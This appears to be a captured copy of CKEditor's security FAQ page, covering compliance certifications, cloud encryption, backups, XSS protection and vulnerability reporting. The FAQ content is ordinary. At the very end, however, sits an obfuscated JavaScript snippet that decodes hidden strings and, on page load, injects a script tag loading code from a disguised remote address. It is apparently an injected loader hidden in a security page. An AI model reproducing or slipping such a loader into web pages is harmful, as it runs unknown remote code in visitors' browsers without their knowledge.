Snapshot 123517
Normalized text
Scripts and page chrome removed; this is what change detection compares.
WEBINAR:
Less time, fewer tokens, better effects
The official CKEditor support for AI coding agents
Register now
00
days
00
hours
00
min
00
s
Secure your Content Creation Workflows with CKEditor
Security-focused Rich Text Editor with SOC 2 Type 2 Compliance
Reduce Security Risk and Maintain Content Privacy
Our rich text editor meets leading standards for data security, availability, and confidentiality, with cloud and self-hosted options.
Review Security and Privacy
Frequently Asked Questions
Find answers to the most common questions about our features, data security, and integration options. If you need further assistance, our team is here to help.
Compliance
SOC 2 Type 2 Compliance
Rest assured that our infrastructure and processes meet stringent standards for data security, availability, and confidentiality. Our secure environment protects against unauthorized access and data breaches, providing a trustworthy rich text editing solution.
Our most recent SOC 2 Type 2 report was issued on March 1, 2025.The full report is available under NDA via our Trust Center.
Copy linkLink copied
HIPAA Compliance
CKEditor has implemented administrative, technical, and operational controls aligned with the HIPAA Security Rule across the CKEditor Ecosystem. The scope covers CKEditor 5 - including real-time collaboration and AI features - alongside CKBox, Export to PDF, Export to Word, and Import from Word.
The controls apply consistently across both cloud and on-premises deployments. By design, neither captures end-user-generated content or PII as part of editor telemetry. Where ePHI passes through in-scope systems, it is encrypted in transit using TLS and at rest within in-scope databases. Customers retain full control over content storage and transport through their own product configuration.
Copy linkLink copied
GDPR Compliance
We ensure that all personal data is processed securely and transparently, in compliance with European data protection regulations.
Copy linkLink copied
CKEditor 5 Long-term Support Edition
The Long-term Support (LTS) Edition guarantees that your editor stays stable and secure for up to three years without disruption. You stay on a predictable release line while receiving ongoing security patches and compatibility maintenance updates as browsers and third-party APIs evolve.
By limiting the update frequency and avoiding breaking changes with LTS, you can ensure long-term compliance, reduce operational overhead, and lower the risk, all while protecting your investment in integrations and customizations.
Copy linkLink copied
Infrastructure
Cloud Security
CKEditor Cloud Services are hosted on AWS and feature multi-layered security measures, data encryption, and automatic failover. With end-to-end encryption and regular backups, we safeguard your data during transfer and at rest.
Hosted on AWS in the US East (Northern Virginia) and EU (Frankfurt) regions with the option to choose one or both.
Deployed on multiple servers across at least two availability zones
99.99% SLA on infrastructure
Copy linkLink copied
Data Encryption
All data is encrypted using AES-256 at rest, and TLS 1.2+ encryption is enforced for all communications in transit. Each customer’s data is protected with unique private keys, providing data isolation and offering maximum security for all content and communication.
Uses HTTPS/WSS with TLS 1.2+ for secure communication
Operates over the standard TCP port (443)
Copy linkLink copied
Backup and Disaster Recovery
CKEditor Cloud Services include automatic backups with point-in-time recovery. Data is replicated across multiple locations, offering continuity and data integrity even in the event of a disaster.
Databases replicated in two locations for automatic failover
Automatic point-in-time backups for the last 7 days
Copy linkLink copied
Development Practices
Adherence to Security Best Practices
We follow a secure Software Development Life Cycle (S-SDLC), embracing security as part of the process and at every stage of development. For self-hosted setups, CKEditor allows you to meet the highest security standards and have full control over your infrastructure and data protection.
Copy linkLink copied
Additional Security Measures
We go beyond compliance with measures like mitigating cross-site scripting (XSS) attacks with Content Security Policy (CSP), using SSL/TLS for secure communications, and performing regular vulnerability scans. These extra steps create a secure environment for content creation and collaboration.
Copy linkLink copied
Access Control
Implement granular permission settings, such as read-only or comments-only access, and role-based controls. This allows precise management of who can view, edit, or comment on your content.
Copy linkLink copied
Regular Security Audits
We employ automated monitoring, regular security audits, and penetration testing to identify and mitigate potential threats. Our 24/7 system monitoring makes certain that any vulnerabilities are quickly addressed.
24/7 system monitoring with real-time user simulations
Logs kept for 1 month, sensitive data redacted
Regular performance and security testing
Copy linkLink copied
Self-Hosted & Configuration
What security measures are in place for self-hosted CKEditor?
Security-sensitive customers (like those in regulated industries or healthcare/HIPAA) may want to consider using CKEditor Self-Hosted. This solution gives you full control over hosting and data processing. Data processed using these systems is not sent to any servers that CKSource controls—you host the core editor and premium plugins on your infrastructure.
Certain CKEditor features/plugins may however access external services - a detailed list is available from your Account Manager. However, all of these features are able to be disabled, should they not fit within your risk profile.
Whenever applicable, the server-side components provide authentication based on JWT.
For security-sensitive customers, CKEditor Self-Hosted Security solutions comply with GDPR, giving you full control over data processed on your infrastructure without it being sent to CKSource’s servers.
Copy linkLink copied
What is CKEditor’s approach to XSS protection?
In the default configuration, CKEditor filters out scripts from the editor content and prevents the execution of scripts in expected markup. However, attackers can bypass every client-side application. Therefore, we strongly recommend processing received editor content through server-side filters.
CKEditor supports Content Security Policy (CSP) to limit resource loading. For recommendations on the strictest CSP configuration go to the Content Security Policy guide.
CKEditor’s modern architecture, which uses a custom data model and conversion pipelines, ensures that by default only content intended to be accepted can appear in the editing area, further limiting the chance for potential XSS vulnerabilities.
For a full list of Security Advisories for patched XSS vulnerabilities, go to the CKEditor GitHub repository’s Security Advisories section.
Copy linkLink copied
How can I configure CKEditor to match my security requirements?
CKEditor offers extensive customization for security settings, including CSP, access controls, and encryption options to fit your security posture.
Copy linkLink copied
How is user data isolated in CKEditor Cloud Services?
Each customer’s data is encrypted with unique private keys to ensure isolation and prevent cross-access.
Copy linkLink copied
What happens to my data in the event of an AWS outage?
CKEditor’s architecture includes automatic failover to backup instances in different availability zones for service continuity. That being said, CKEditor Cloud Services have several practices in place to provide high availability and resilience. Visit the Security and Privacy overview article in the documentation for a detailed list of implemented practices.
Copy linkLink copied
How is employee access to data managed?
Employee access is strictly limited to individuals who need it for system maintenance, limiting exposure to sensitive information.
Copy linkLink copied
Security Processes
How does CKSource ensure the security of its products?
We maintain the following staffing and security process protocols:
Dedicated InfoSec Team
Continuous automated Codescans during development and post-release
Automated Static analysis code scans
Peer code reviews
Manual and automated QA assurance process
Network of security researchers, developers, and customers reporting security vulnerabilities
Annual pen tests conducted by an independent security firm
Frequent patch releases and security updates
GDPR compliance in data security and processing practices.
Copy linkLink copied
What is CKSource’s vulnerability disclosure policy?
CKSource has a 90-day disclosure policy once a vulnerability has been verified. After a security patch has been released, CKSource will disclose the vulnerability through these public sources:’
Mitre CVE
Github GHSA
Product release notes
Copy linkLink copied
How do I report a security vulnerability to CKEditor?
Please send all security reports to security@ckeditor.com. Include detailed steps to replicate the vulnerability. This applies to all CKEditor digital assets, including websites, blogs, and software products.
Our InfoSec team will review your report and, once the issue is verified, provide a remediation plan. We will also discuss the timeline for public disclosure.
Copy linkLink copied
Have more questions about our security?
Contact usVisit Trust Center
window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });